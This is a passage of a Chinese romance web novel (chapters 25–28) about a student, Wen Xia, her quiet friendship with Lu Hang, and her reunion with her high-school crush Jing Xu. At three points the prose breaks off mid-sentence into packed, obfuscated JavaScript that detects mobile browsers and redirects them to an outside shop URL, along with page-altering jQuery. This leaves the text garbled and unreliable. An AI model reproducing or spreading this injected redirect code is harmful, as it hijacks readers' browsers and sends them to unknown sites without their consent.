之后温夏的生活仍如一杯毫无惊喜的白开水,卢杭约过她几次——或许是登山,或许是吃饭,或许是去一些火爆的网红打卡点……或许是他的邀约太像是随口一提,她每次都迟钝得没察觉到他的心思。 温夏没有多余的心思去做他说的那些事儿,每次都婉拒了他。 但因为青外的图书馆对外校学生开放,卢杭时不时就会抽时间过来,两人不知道什么时候成为了学习搭档,见面的次数渐渐多了起来,两人也日益熟络。 渐渐的,温夏发现,卢杭和自己口味大致相同,也能和他聊到一起,之前像是隔着一条的的中学同学关系居然得到了意料之外进展。 熟络起来之后,温夏还感叹过一次:“应该早点跟你成为朋友的。” 七月的第一周是期末复习周,两人一起呆在图书馆的时间更长。 考试结束那天,卢杭给温夏打了个电话,约她一起吃饭。 温夏这次没拒绝:“地方你挑吧,我把书放回宿舍就过去。” 卢杭最近发现了一家很地道的树阳口味的炒菜:“想吃家乡的味道吗?” “你别说,还真有点馋了。” “那行,地址我发在你微信上。” 吃饭时,温夏问:“你回树阳的票是几号?” “我不回去了。”卢杭说,“你呢?” “我也不回去。我拿到了去南临大学的交换生名额,得挣生活费。” 卢杭发现,温夏今天好像格外开心,笑意写在脸上,很少见她这样。 听她这么说,卢杭也发自内心替她高兴,他举起手边装着橙汁的纸杯:“恭喜你。” 25. 25 温夏去南临市当天,堰青空气闷燥,太阳很大,出门前温夏往脸上和手臂上都抹了防晒。 盖上防晒盖子时,她表情凝了一瞬。 她现在已经能准确地判断出适合自己的护肤品了。 敛起思绪,温夏拖着行李箱下楼,在宿舍门口看到卢杭。 买票那天,卢杭说假期闲着也是闲着,送她过去,顺便在南临玩儿几天。 于是两人就一起买了票,约好今天在青外南门见。 她拖着行李箱快步走过去:“不是说在门口见吗,怎么过来了。” “过来看看有没有什么能帮忙的。”卢杭只背了个黑色的包,他拿过温夏的行李箱,像是知道她会拒绝,将箱子换到另一只手,“我拿吧。” “那麻烦你了。” 卢杭握着拉杆的力道紧了一瞬,随机恢复平常的模样,转头冲她一笑:“小事儿。走吧。” 卢杭在南临待了两天,帮着温夏把开学的事儿处理完就说要走。 他买的票在晚上,下午温夏为表感谢请他吃饭。 卢杭知道许多人对他的评价是自信张扬。只有他自己清楚,在温夏面前,他只是一个不敢跨越“朋友”这条安全线半寸的胆小者。 所以有些话,他清醒时绝不可能说出口。 之前和温夏一起吃饭,他都小心地尊重着她的习惯,但今天,他罕见地,要了罐啤酒。 只是啤酒终究不是勇气增长剂,到最后,他仍未把那些话说出口。 - 南临市和树阳同在南方,这个月份空气沉闷而粘腻。在车站送走卢杭回学校后,温夏去了趟学校超市。 走进超市时她看了眼时间,傍晚五点,正是晚饭时间,这会儿的校园比下午时热闹,三三两两结伴的人从她面前走过,讨论着吃哪个食堂。 她没什么胃口,随便拿了点面包,又习惯性地在饮品区找可乐,找了一圈没有看到习惯喝的那一个牌子,思绪停滞两秒,没拿蓝色罐身的可乐,而是拿了手边的一瓶矿泉水。 结账完走出超市,温夏盯着手里的矿泉水愣了神。 她突然意识到,自己在一定程度上活成了景栩的样子。 口袋里常备利口乐的冰川薄荷口味,不知什么时候开始只喝某个品牌的可乐,勉强学会了他会的乐器,思考时手指习惯性地点在眉心…… 时至今日,他仍会出现在她脑海里,午夜梦回时尤为频繁。 每每这个时候,她也会祈祷他在某个时刻,脑海里也会偶尔想起关于她的片段。只是相识多年的好友都有渐行渐远的时候,何况他们这样本就生疏的关系。 很多人到最后,留下来的不过是“相识一场”。 一个穿着白衬衫的男生载着一个穿了白色长裙的女生,从她面前经过,自行车清脆的铃声在耳边响起,温夏才慢慢回神。 目光追随过去,正好瞥见白衬衫的衣角被风卷起。 印象里,景栩只穿过一次白衬衫。 在落日余晖时,少年刚打完球,随手将衬衫穿上,发尖还挂着汗珠,尽管她只拍到了背影,仍能感受到他身上掩藏不住的意气。 后来她看过许多次极美的日落,却没有哪天,像那天一样特别。 高考结束那个暑假,她把一直放在床头的那本《小王子》看完了。 书里说,“人在难过的时候就会爱上日落。” 读到这里的时候,温夏在那几天把偷偷拍下来的落日余晖下的少年看了又看。 手机像素很低,他的脸糊得几乎看不见。 小王子在某天看了四十四次日落,温夏想,那天的小王子,大概很难过。 回宿舍的路上,温夏经过图书馆。 图书馆前有一面荣誉墙,她脚步一顿,而后无意识地走了过去。 她总觉得,如果景栩在某所学校,他一定会出现在最显眼的地方——比如荣誉墙,比如表白墙,比如领奖台…… 站在荣誉墙前,她仔细看了每个人的脸,没有一张能和她记忆里的少年对得上号。 微抿了抿唇,眼皮垂下去遮住意料之中的失落。 回到寝室时,室友们已经到了。 简单的聊了会儿天,温夏得知,其余三个人和她一样也是交换生。 这一年无澜渡过。 温夏拿了奖学金,也勇敢地参加过许多次从来没敢参加的比赛——拿了几次奖,更多时候在在半决赛就会被淘汰; 期间认识了一些类型不同的男生,都对她表示过好感,她总装出一副不解风情的模样,他们也就渐渐放弃了; 卢杭总趁着周末到南临,他有时候只是和温夏吃顿饭就急匆匆赶回去,有时候他周五过来,待到周日离开,两个人就会去周边的景点……但每次来都会给她带礼物。 一整个学年下来,温夏和舍友们算不上熟络,却也平和地相处着。交换生活结束时,她们才有了第一次聚餐的计划。 温夏习惯了早起,聚餐当天也由于生物钟而早早醒来。 这天她却罕见地赖了床,醒了就盯着天花板看,等宿舍里有了动静才起床洗漱。 南临靠海,台风前两天过境,到昨天空气仍又咸又湿。今天才重新闷燥起来。 今天最高温度直逼四十,中午温夏出去了一趟,被热空气捂得差点喘不过气。 傍晚等气温降了些,四个姑娘才出发去聚餐的地儿。 吃完饭又去了KTV,打算通宵,明早直接出发去机场或高铁站。 温夏性子一向内敛,其余三人点了啤酒,边唱边喝,越唱越嗨,温夏一直安安静静地坐在沙发上吃水果和零食。 三个姑娘唱了会儿,就围过来个温夏一起玩游戏。 抽牌比点数大小,点数最小的人要从问题箱里抽一个问题来回答。 前几局温夏一直处在安全区,最后一局才输了。 她抽到的问题是:你最大的遗憾是什么? 这并不是能问出劲爆八卦的问题,平平无奇又无聊。但温夏平时似乎没什么爱好,情绪稳定,生活寡淡。学习上也努力争先,争取到了自己能力范围内的一切……她实在不像是会有遗憾的人。 温夏看到这个问题的时候,也愣了一下。 她垂下眸,脑海里闪过景栩的模样。 仔细想想,他们一起跨过年,一起乘过公交,一起去过书店,一起看过英语老师包场的电影……一起做过很多很多事。 她好像,不该有遗憾。 可他们还没有一起看过雪,每每想起他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152186|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她还是会莫名鼻酸,觉得不该就这样停止在连一句道别都没有的夏天。 沉默半晌,温夏才开口:“最大的遗憾,大概是没有在他离开时,跟他说句祝福。 “虽然他现在没办法听到,但现在说应该也不晚。 “我希望,他有一个无限风光的前程。” - 到后半夜,所有人都累了,用不同的姿势瘫在沙发上。 温夏一个人没办法把三个醉鬼弄回宿舍,想着干脆在这将就一晚,反正她们行李都拿过来了,这会儿正整整齐齐地摆在包厢的角落。 她跑下楼买了洗脸巾回来给她们擦脸,又去找服务员要了热水。 服务员把热水送进来时,睡在温夏对床的宋昀胆子反常地大,艰难地站起来,手轻轻捏住服务员的下巴:“长挺帅,加个微信啊。” “……” 温夏没来得及有动作,另一个室友王新晚一把将宋昀拽回来,含糊不清的说:“别耍流氓。姐给你看个更帅的。” 边说边打开手机,倒腾好半天后,将手机屏幕怼到宋昀眼前,语气得意:“怎么样?” 服务生退出包厢,带上门时听见一句脏话:“这他妈要是坐台,得是台柱子。” “是吧,一般帅哥入不了我眼。”王新晚换了个姿势躺着,有些遗憾地叹了口气,“我去年去伦敦看我表哥遇到的,是我表哥师弟,但我觉得泡不到他,不然就让我表哥搭个桥了。” 温夏沉默着把地上的酒瓶捡到桌上,捡最后一个时,她瞥见王新晚未锁屏的手机。 熟悉的身影就这么猝不及防地撞进眼睛里,呼吸滞住一瞬,手上捡酒瓶的动作就这么停了。 尚存一丝清醒的宋昀注意到,但因为醉意占据主导,她也没多想。只咕哝了句“看来确实帅,尼姑夏都被迷住了”就重新倒回沙发。 温夏盯着那张照片。能看出是偷拍的,只有一个侧脸,他在看右前方,隐约能看到嘴角微翘。 没来得及细看,手机屏幕变黑。 温夏恍惚了一瞬,顺势滑坐在地上,调出自己手机里唯一那张偷拍的照片,开始了新一轮的发愣。 温夏记得,王新晚的表哥在UCL。 她用尽全力才考到青外,走到堰青,以为终于离他近点了,却根本没有。 她总在追逐,而他好像一秒都不曾停下。 他只是在她人生最晦暗时出现的一缕光,在她荒芜的青春里出现,送来一个短暂而绮丽的梦。 是梦就会醒。 她早就知道,自己不该奢求太多。 包厢里切了首歌,温夏没心思去听切了什么歌。 直到听到—— 感谢我不可以住进你的眼睛 所以才能拥抱你的背影 这句唱完,一滴温热的泪从温夏下巴处滴下,手机也正好熄屏。 她脑海里冒出一个想法——请王新晚的表哥牵个线,景栩性格那么好,应该不至于拒绝加好友。 可很快她否定这个想法。 高中时期也好,现在也罢,她从来都不想给他造成困扰。 此时包厢里很应景地响起—— 我的心事 蒸发成云 再下成雨却舍不得淋湿你 26. 26 温夏没回堰青,而是回了一趟树阳。 前几天,大伯开货车送货时出了车祸,货车侧翻,一整车水果都毁了,但好在人救了回来。 接到卢杭电话时,温夏正好到树阳县医院门口。 一整个暑假,温夏都没怎么休息。 大部分时间在医院照顾大伯,好不容易能回家休息会儿,还没喝上一口水就会被叫去水果店看店。 大伯母总说:“养你这么久,两年没回来,现在你大伯出事,你出不了钱出点力是应该的吧!” 快开学时,大伯也能出院了。 温夏没在家里多待,接大伯出院是中午,她回家给大伯做了顿午饭,自己没吃一口,就拖着行李箱就要走。 大伯母一听她要走,嘴里立即开始蹦“白眼狼”“没良心”“不如死外面算了”之类的词。 她没理,直接开了门出去。 刚关上门,她听见碗被墙砸碎的声音。 坐上高铁时,她才后知后觉地松了口气。 温夏到学校的时候是傍晚,在军训的大一新生正好解散,学校里一片流动的绿色。 温夏眨了眨眼,今天应该是军训的第二天了。 她逆着人群往宿舍楼走,刚进宿舍接到卢杭电话,刚接起电话那端直接省了一直以来的“温夏”,只说:“听我妈说你回树阳了,回来了吗?” “回来了。” 卢杭也很清楚温夏在那个家的处境:“赵阿姨没为难你吧?” “没有。”她回答。 那些话她都听习惯了,她也不擅与人争执,听完就过了。 卢杭明显松了口气,微顿一刹:“晚上一起吃饭吗?” 温夏今天有点累:“改天吧,改天我请你。” “行。”卢杭没勉强,“你先休息,再联系。” 此时宿舍没人,应该去食堂了。 温夏随便冲了个澡就爬上床,她这段时间太累,沾上枕头就睡着了。 醒来时她看到几条未读消息,是同系的学姐发过来的,大概意思是今天晚上会议中心有个活儿,她临时有事,想请温夏帮忙去一下。 内容也并不复杂,八点的签到已经结束,只剩下十点在会议厅门口的签到台指引参会的人签退。 温夏看了眼时间,晚上九点。 她回了“好的”,学姐那边立刻回过来一个极为亲昵的表情包,而后象征性地补了句“谢谢学妹!改天请你吃饭。” 没多久,学姐又发过来一条语音:“今天你不白去,有帅哥哦。” 温夏随手回了个表情包后放下手机,下床洗漱。 等时间差不多了,她起身出门。 朱源松听到动静,问:“夏夏,要出去吗?” “嗯。会议中心那有个活儿。” “又是帮别人忙吧?”朱源松有些忿忿,“你就是太好说话了,学生会那帮人才什么破事儿都丢给你。” 温夏笑,岔开话题:“听说今晚有帅哥。” 听到这话,陈湘暂停了在二刷的美剧,加入了聊天。 她开玩笑逗温夏:“今晚好像是建筑系主办的交流会,京北那边派了个代表团过来……听我朋友说,有一个确实很帅,感觉跟咱平时见到的不是一个次元的。夏夏要是能遇见,勇敢冲上去,把他拿下。” 朱源松“切”了声:“她要是对帅哥感兴趣就好了。法学院那个追你快半年了吧,也没见有进展。” 朱源松一脸八卦地看向她:“向你示好的人也不少,没想过发展一下?” “我还是先把手头的事忙完。”温夏往外走,“比如去会议中心干签退的活。走了,回来给你们带宵夜。” 陈湘听完眼睛亮了:“不好带,反正没门禁,等你结束咱一起去美食城新开的那家吃烧烤呗?” 朱源松:“赞成。” 孙洁妮:“可以。” “好。”温夏说完就出了门。 - 现在距离签退时间还早,温夏现在还不太饿,但这种活除了签退,结束后还要帮着收拾会场,不知道得忙到什么时候。 想了想,温夏还是拐进了超市。 她拿了一瓶可乐和两个面包。曾经有人说可乐和面包这个组合很奇怪,一个是冲击力强,一个温和柔软。 温夏也觉得这个组合奇怪,但这么多年,竟也逐渐习惯了这种口味。 温夏到签到台坐下,里面正好传来雷动的掌声。 她百无聊赖地拿出手机,戴上耳机刷了会儿短视频仍觉得无聊至极,手边正好有几张A4纸,她干脆切换了APP,开始练口译。 十分钟后,她手边的A4纸上多了一些奇怪却简单的符号。 练完一轮,她开了一局游戏,游戏结束,会场里开始嘈杂,退出游戏界面一看,已经十点零几分了。 身后的会场门被打开,陆续有人出来签退。 这场会议里有专家学者,更多的是学生。从这个通道出来的,是建筑系的学生。 签到台正对会议中心大门,夜间有风,几张已经签完的、薄薄的纸被吹落在地,温夏弯腰捡起。 起身时,瞥见拥挤人潮里一闪而过的身影,像极了常在梦里出现的那位。 那一瞬,她感觉心跳漏掉一拍。 某个念头冒出的下一秒就彻底消散,温夏自嘲地弯了弯唇,“怎么可能。” 此时最后一个人也签退结束,会场里的学姐喊了句:“来帮帮忙。” 她没再看门口,转身进了会议厅帮忙。 里面很干净,他们只需要把桌上的矿泉水瓶收拾好。 一切结束,已经过去了半个小时。 温夏看了看寝室群消息,她们已经到了,发了份菜单在群里,问温夏想吃什么,先点着。 温夏圈出想吃的发了回去。 她收起手机沿着学校鹿鸣路往前,走到距离南门一百米处的拐角处,突然冲出一辆自行车人,她惊慌下避闪不及,摔在了地上。 骑车的人立刻跑到她身边:“不好意思,没事儿吧?” 这声音实在熟悉,温夏原本要检查伤口的动作滞住。 见她没反应,那人明显更着急了:“受伤了吗,伤到哪了?” 熟悉的那抹橡木苔的味道越来越近,他在她面前蹲下,路灯投射出的阴影将她整个人罩住。 温夏心脏怦然,忐忑着抬眼,一张再熟悉不过的脸就这么闯进双眸。 眼前的人,不是景栩还能是谁? 景栩看到她时也有些惊喜:“温夏?” 此时温夏脑子里只有一个念头:他记得我。 这个瞬间许多情绪盘根错节地生长,理不清,也说不明。 她莫名想到格格曾问过她的问题:既然喜欢他让你这么难过,为什么不干脆放弃? 温夏也无数次想过这两个问题,可没有哪一次得到过答案。 此时她突然想起读三毛时,曾读到: 一群的飞虫马上扑过来,它们绕着光不停地打转,好似这个光是它们活着唯一认定的东西。 我们两人看着这些小飞虫。 “你在想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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路上,温夏酝酿了许久,才终于明知故问了一句:“你也是青外的学生吗?” “不是。”景栩不动声色地绕到马路一侧,“我在A大,这次青外有个交流会,我跟着老师过来看看。” 大概是知道她内向,景栩主动找着话题:“你在堰青过了两个冬天了吧?怎么样?” 温夏的手不自觉蜷了蜷,她本来以为,关于他们之间,他什么都不记得。 因为走神,她隔了几秒才想起要回答他的问题,却答非所问:“这里的雪,很漂亮。” “在这边还习惯吗?”景栩问。 “刚来的时候不太适应这边的气候,时间长了也不觉得有什么了。” “那就好。” 温夏看着地上的影子,想起在树阳时,他们的影子也曾这样在路灯下紧紧挨在一起。 她咬着嘴唇,眼看着快要到约定地点,才问:“你什么时候回京北?” “凌晨的飞机。”景栩笑起来,“得回去上课呢。” “那个……”温夏转头看向他,“你的□□号还在用吗?” “很久没登陆了,怎么了?” 温夏不知道他是真的很久没登陆了,还是不想和她有联系才维持着体面撒谎。 她怕是后者。 但她还是鼓起勇气问:“可以留个联系方式吗,你回堰青的时候,请你吃饭。” “可以啊,加微信吧,我扫你。”景栩丝毫不扭捏,当即拿出手机,“你有时间去京北玩,我给你当导游。” “好。” 27. 27 因为景栩要赶飞机,送她到店后就离开了。 她看着出租车彻底消失,又在原地站了许久,才进了店。她找到朱源松发过来的桌号,径直走了过去。 朱源松看到她眼眶红红:“你哭了?” 陈湘闻言也看过来:“怎么了这是?” 温夏不想让她们担心,何况她也确实无法说明缘由,便扯了个谎:“没哭,可能就是这几天没休息好。” 她们或许是看出她不想多说,又或许是相信了她的说辞,面面相觑几秒,最终什么都没再问。 一整场聚餐温夏都心不在焉,点的东西也没吃几口。 她今天状态实在反常,室友们没敢多说什么,回去的路上一直注意她的状态,直到她洗漱完爬上床才松了口气。 温夏今天很累也很困,此时却毫无困意。 直到现在,她还是觉得景栩像是出现在梦里。她一直没敢看手机,怕列表里没有多出这个人,怕看了就会知道这是梦境。 可终究没忍住,到后半夜,她点开微信,搜索“景栩”。 万幸它存在。 头像是布偶猫,和企鹅号用的是同一张。 她点进去,想看看朋友圈,却发现没有朋友圈入口。 他一条都没发过。 也就意味着,她完全没办法透过朋友圈了解他这几年的生活哪怕分毫。 屏幕的光渐渐暗下去,温夏脑海里终于闪回一些具体的回忆。 他似乎原本就是一个分享欲望极低的人。 温夏关注了A大的各类社交媒体上的账号,看完了所能找到的平台上的A大发布的视频。 她不知道景栩几点的航班,但手已经在大脑反应过来之前在聊天框输入好了“到了报个平安”几个字。 这行字终究没能发出去。 她自卑作祟,情绪作祟,怕打扰,怕他在他们之间筑了一道疏离的墙。 她生怕行差踏错一步。 窗外忽然狂风大作,没多久她听见雨滴打在玻璃上的声音。大概是阳台窗户没关紧,风灌进来,气味潮湿。 温夏觉得整颗心仿佛也跟着湿透。 天泛白时,她终于昏昏沉沉地闭了眼。 庆幸的是,今天不用上早八。 上午九点,她感受到耳边的手机震动,迷糊间拿起一看,是景栩发过来的:【今天感觉怎么样,有任何不舒服一定要去医院看看。】 困意正盛的温夏立刻清醒,也终于确定,昨天发生的一切,都不是梦。 她认真回复:【没什么不舒服的地方。】 她和景栩的聊天止于此,此后的日子好像这个人从来没出现过,仿佛那天短暂的交集只是她的错觉。 随着期末临近,温夏泡在图书馆的时间更长了,卢杭要准备一个什么比赛,温夏已经很久没见到他人。 冷空气已经在堰青吹了快两个月,校园里许多树早就已经光秃秃,只有一些矮小的灌木还坚强地泛着绿意。 只是它们矮矮的,在寒风中显得有些可怜。 元旦当天,温夏考完最后一科从考场出来,堰青今年的第一场雪终于纷纷扬扬地下起来。 温夏搓了搓手,从包里拿出手机,站在台阶上拍了会儿。回宿舍的路上她也一直在拍,每到一个路口或青外标志建筑物都要拍几张。 回到宿舍,她打开相册,竟然拍了三百来张,有很多照片只是拍摄角度有微毫之差。 精挑细选了一下午,只选出十几张。 和室友去食堂吃完晚饭,她又去拍了些夜景。 她点进朋友圈入口,发觉上一次发朋友圈已经是高考结束的那个暑假了。 那天她拿到了青外的录取通知书。 她把通知书举过头顶,站在阳光下,皮肤被晒红,脸上的笑却同太阳一样明亮。 程聿就在这时给她拍了张照,她用这张照片发了朋友圈。 她选中九张雪景,却在发布前退了出来。 她发朋友圈,是只想给那一个人看。 思忖良久,她发了一句看似群发的祝福:【元旦快乐。】 景栩在几分钟后回了她同样的四个字。 看着这四个字,她唇角不自觉向上有了弧度,就连心跳都比平时快了些。 手指放在眉心轻轻摩挲好半天,才一咬牙,选了两张给景栩发过去。 白天和晚上的景各一张。 她说:【堰青下雪了。】 发完就将手机倒扣在桌面,视线却没离开过,和手机壳上的KevinDurant大眼瞪小眼。 十几分钟过去,手机终于响了。 点开却是群消息。 她再次把手机扣了回去。 这期间手机又响过几次,每次她都拿起来看,每次都不是景栩。 在手机不知道第几次响起,温夏已经快睡着了。 这次是景栩,他似礼尚往来,也发过来两张雪景照,随后发来两条语音:“今年堰青的初雪来得好晚。” 温夏把手机放在左耳,挨近心脏,他的声音带着丝丝电流,流到她的心脏。 他大概在外面,语音里人声嘈杂。 今天元旦,他可能在和朋友聚会,怕打扰到他,温夏没再发消息。 - 温夏在一家工作室找了实习,格格和程聿回树阳前,特地买了堰青的票,陪她待了两天才回去。 整个寒假,温夏和景栩断断续续聊过几次天,但每次都是温夏开头,温夏结尾。 景栩有问必答,也很礼貌地回复了她所有消息,但从来不会发起聊天,在聊天过程中似乎也懒于寻找能让聊天继续下去的新话题。 可温夏也被莫名其妙的自尊挡着,她没理由频繁找他聊天,也没有身份给他分享类似于“今天喂流浪猫发现少了两只,不知道它们去哪了,还会不会回来”这样无聊的事。 他们似乎比“高中同学”这层关系,还要再陌生些。 于是她频繁更新朋友圈,全部仅他可见。 - 开学第二天,温夏接到卢杭电话。 他拿了奖,说要请她吃饭,一起庆祝一下。 他们照常约在云九香,温夏回宿舍放了包时间正好。 她到的时候卢杭已经到了,点完菜,卢杭起身去拿饮料:“老样子?” 温夏下意识点头,随即又摇摇头:“今天喝酒吧。” 卢杭心里升起不好的预感,他看着温夏,只问:“果酒?” “都行。” 温夏之前没喝过酒,喝了几口就开始脸红,脖子也红。但卢杭实在没想到,她酒量浅到只喝半罐低度数的果酒就能醉到和清醒时完全不同性格的地步。 喝醉的温夏行为变得十分大胆。 她冲旁边路过的帅哥吹口哨,追着人家加微信,说人家是她室友喜欢的款——不止一次。 卢杭有些好笑,哄她坐好。 他说,“温夏,我好高兴。” 她愿意跟他喝酒,说明在她心里,他至少算得上一个值得信赖的朋友。 温夏此时像是对谁都不设防,自言自语般地道:“我也好高兴。” 卢杭默默帮她把酒换成了热茶,心说反正她这会儿醉着,辨不清他语气里的亲昵,便大着胆子道:“那夏夏能跟我分享分享吗?” 平时只敢叫她温夏。 喝醉的温夏反应似乎有些迟钝,没察觉称呼有什么不对。她盯着他看了半晌才一脸神秘地说:“看在你和我是铁哥们儿的份上,我就告诉你吧。我又见到景栩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272695|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,我还加了他微信。 “之后我还找他聊过几次天。” 说完,她扬着调子问:“我勇敢吧?” 像个小朋友。 卢杭听完,笑容僵在脸上,眼底蔓延出抹涩,却在反应过来后仍配合着她:“夏夏最勇敢了。” 大概是醉意上头,温夏有些难受地趴在桌上,薄瘦的肩膀一抽一抽,抽泣声也低低溢出。 她哭累了抬头,眼睛红透。 要是不遇见他就好了,不然自己总是心有不甘。总觉得如果努努力,没准儿真能走到他身边同他并肩。 即使清楚有些沟壑她耗尽此生也无法跨过,也没办法不想:哪怕靠近一点点也好啊。 温夏说了很多话,大部分时间像是在自言自语。 卢杭见差不多了才起身将她扶起:“走了,送你回宿舍。” 卢杭把她送到宿舍楼下,“男生止步”几个大字挂在门口,卢杭正犯难,就遇到温夏室友。 朱源松从图书馆回来,走到他们身边时,闻到温夏身上的酒味,很淡。 她从卢杭手里接过温夏:“谢谢你啊。” 卢杭:“你们宿舍有解酒的东西吗?” “有解酒糖。放心,上去就喂她吃。” “麻烦你了。” 扶着温夏到了楼梯口,确定这里完全阻挡了卢杭视线之后,朱源松放开温夏,温夏顺势靠在墙上。 朱源松:“好了,别装了,他看不见了。” 温夏没反应。 朱源松又说了几句话,温夏还是一句话都没说。 温夏冷不丁的凑上来,趴在她肩膀上闻:“猪猪,你好香,亲一个。” 朱源松才惊觉她是真的醉了。 温夏傻笑两声,在她脸上“吧唧”亲了一口。 “……” 好在喝醉的温夏很乖,朱源松倒是没费什么劲儿就把她带回了寝室。 寝室里黑漆漆的,其他人出去了还没回来。 朱源松放下东西后,去洗手间接了盆热水,想让温夏洗把脸,出来时发现她已经爬上床休息了。 她放下热水,在盒子里翻了颗糖,喂温夏吃了一颗。 此时陈湘和孙洁妮也回来了,看到朱源松从温夏床上下来,小声问:“怎么了?” “喝醉了。”朱源松无奈笑起来,“我在宿舍楼下遇见的,还以为她是因为喜欢人家,所以装醉骗人送她回来。” 陈湘也笑:“夏夏感情这方面你又不是不知道,不开窍。” 孙洁妮问:“我哪有蜂蜜,给她泡杯水。” 朱源松摇头:“不用了,刚喂她吃了解酒糖。” 陈湘:“认识这么久了,她没喝过酒,今天是咋了?” 朱源松耸肩:“不知道。” - 卢杭送完温夏后,去便利店里买了打啤酒,随便在马路边找了个椅子,打开一罐,一口气喝了大半。 他也极少喝酒,平时和同学朋友的聚会上,也是能推就推。 有人问起,他会坦荡地说一句:“有人不喜欢。” 和他关系好的人知道,这个“有人”说的是青外的那个姑娘。 他安静地坐着,安静地喝着酒,安静地回忆这刚才和温夏吃饭的种种。 她说的每一句话都无比清晰。 她问他知不知道喜欢一个人是什么感觉。 她说那种感觉,就好像原本灰白的世界,偶然闯进一抹亮色,那抹亮色在某个瞬间近在咫尺,却永远与自己无关。 它就在那里,可你就是不敢进一步,也无法退一步。 他当时没说话。 他知道啊。 他怎么会不知道。 他也偷偷喜欢一个人,很久很久。 28. 28 温夏第二天醒得很早,生物钟像是刻在骨子里,因为还是冬天,她醒来时天色仍暗。 她完全不记得昨天喝醉后发生了什么,但她了解自己,应该不至于做什么逾矩和过分丢脸的事情。 她也没有感受到别人说的宿醉后的头疼。 一切如常,如常到她甚至觉得自己昨天并没有喝酒。 关于昨天她并没有多想。 耳机就放在枕头底下,伸手拿出来戴上,播放了一场雨声。 闭上眼,她仿佛看见了余庆巷里,狭窄的青石板路上,漫不经心倚靠着旧墙的少年。旁边的矮墙上爬满绿藤,他安静地站在万里阳光下,光线温柔地落在他黑而密的睫毛上。 美好而梦幻。 似一页精心描绘过的少女漫画。 雨声收尾时,温夏后知后觉地笑了。 他们相遇在小城的一个沉郁的夏天,那个夏天从他出现那一刻变得明快。 他像一束光照进她晦暗世界的一角,后来不管他在眼前在天边,那一角都慢慢扩散。她仍没办法原谅这个世界,却因为他的出现而慢慢生出喜欢。 她爬起来折了颗星星,折之前照常拿出笔在长条上写下当下最想写的话。 “否极泰来。” 雨不会一直下。 要等的人也不会一直不来。 在堰青的第三年,她又遇见景栩了。 她很庆幸,这几年一步都不曾停下。 她虽然和高中时一样,不是学校里的风云人物,也没有优秀到人人称羡。 但她知道,自己走的每一步都算数。她不再是灰扑扑的小城姑娘,正一步步独立、明亮。 室友也陆续醒了,看到温夏还在宿舍,三个人都惊了一下。 这几年,温夏早起是常态,很少有例外的时候。昨天她跑出去喝酒,她们不知道她喝了多少,但知道她喝醉了……反常的事儿联系起来,很难让人不多想。 但温夏慢吞吞又话不多的性格,让她们也无从问起。 - 温夏吃完午饭去了社团活动室,只有陈朝在。 她来的时候,陈朝正好收拾完东西准备离开。 陈朝先出声打招呼:“还以为你今天不过来了。” “今天有点事耽搁了。” “那行,不打扰你,先走了。” 温夏每次来都会打一个小时,但今天却没动。 安静地在鼓前坐了一下午。 晚饭时间,她起身准备去食堂,卢杭的消息弹出:【一起吃晚饭?】 紧接着又进来一条:【有事找你。】 平时卢杭和她的相处鲜少有插科打诨的时候,但也极少有这种十分严肃地说“有事找你”的时候。 她没有犹豫,回:【在哪?】 卢杭:【请我吃青外的食堂吧。】 两人约在了离南门最近的三食堂。 整个吃饭过程卢杭都很安静,温夏问过一次“有什么事”,但他只说了句:“先吃饭。” 他很平静,似乎也不是什么重要的事。 温夏也没再问,两个人安静地吃完了这顿饭。 可一直到这顿饭吃完,卢杭还是什么都没说。 出食堂时,温夏看他还是一副什么都不打算说的样子,不放心又问了句:“卢杭,你找我,到底什么事?” “温夏,一起散散步吧。”他说。 温夏不知道他发生了什么,也不知道他想做什么,愣了一瞬后答应下来。 两人走了一段路,卢杭忽然停下,他说:“温夏,你……” 温夏也停下,抬头看他。 四目相对时,他嘴边的话却停住了。 他慌乱地移开视线,不敢看她多一秒。 “怎么了?”她问。 “勇敢到底吧。” 原本在嘴边快要呼之欲出的那句“温夏,你喜欢我吧”,兜兜转转后,变成了这句。 他喜欢她,很多很多年。 比起拥有她,他更希望她自由、铮铮、站在她所期望的人身边。 而他在这场暗恋的哑剧里,至少不是出场即杀青的路人甲乙丙丁。 没头没脑的一句,温夏却一听就懂。 “他是太阳。”温夏说。 同样没头没脑的一句,卢杭也瞬间就懂。 他是太阳,是可望不可及的存在。她的勇敢只能在上限极低的阈值内,再多就不敢有了。 卢杭当然是真的发自内心希望她得偿所愿。 可眼前到底是他喜欢的姑娘,于是他没打过阴暗面,鼓励的话变成引导:“那——考虑考虑别人呢?既然深知无法到那一步,不如及时止损,看看其他人。” 从景栩离开树阳,温夏就做好了这辈子再也遇不到他的准备。 她尝试过和别人接触。陈朝对她表示过好感,室友口中“法学院的那位”坚持了大半年……她认真地和他们聊天、相处。 越认真越发现,很多事情不是靠努力就能做到。 她没有刻意等景栩,甚至从来没想过和他有“同学”之外的发展。 直到那天,再次听到他的声音,心脏像是骤停一秒,随即砰砰。 自从来堰青后她遇到了很多人,将来会遇见更多。 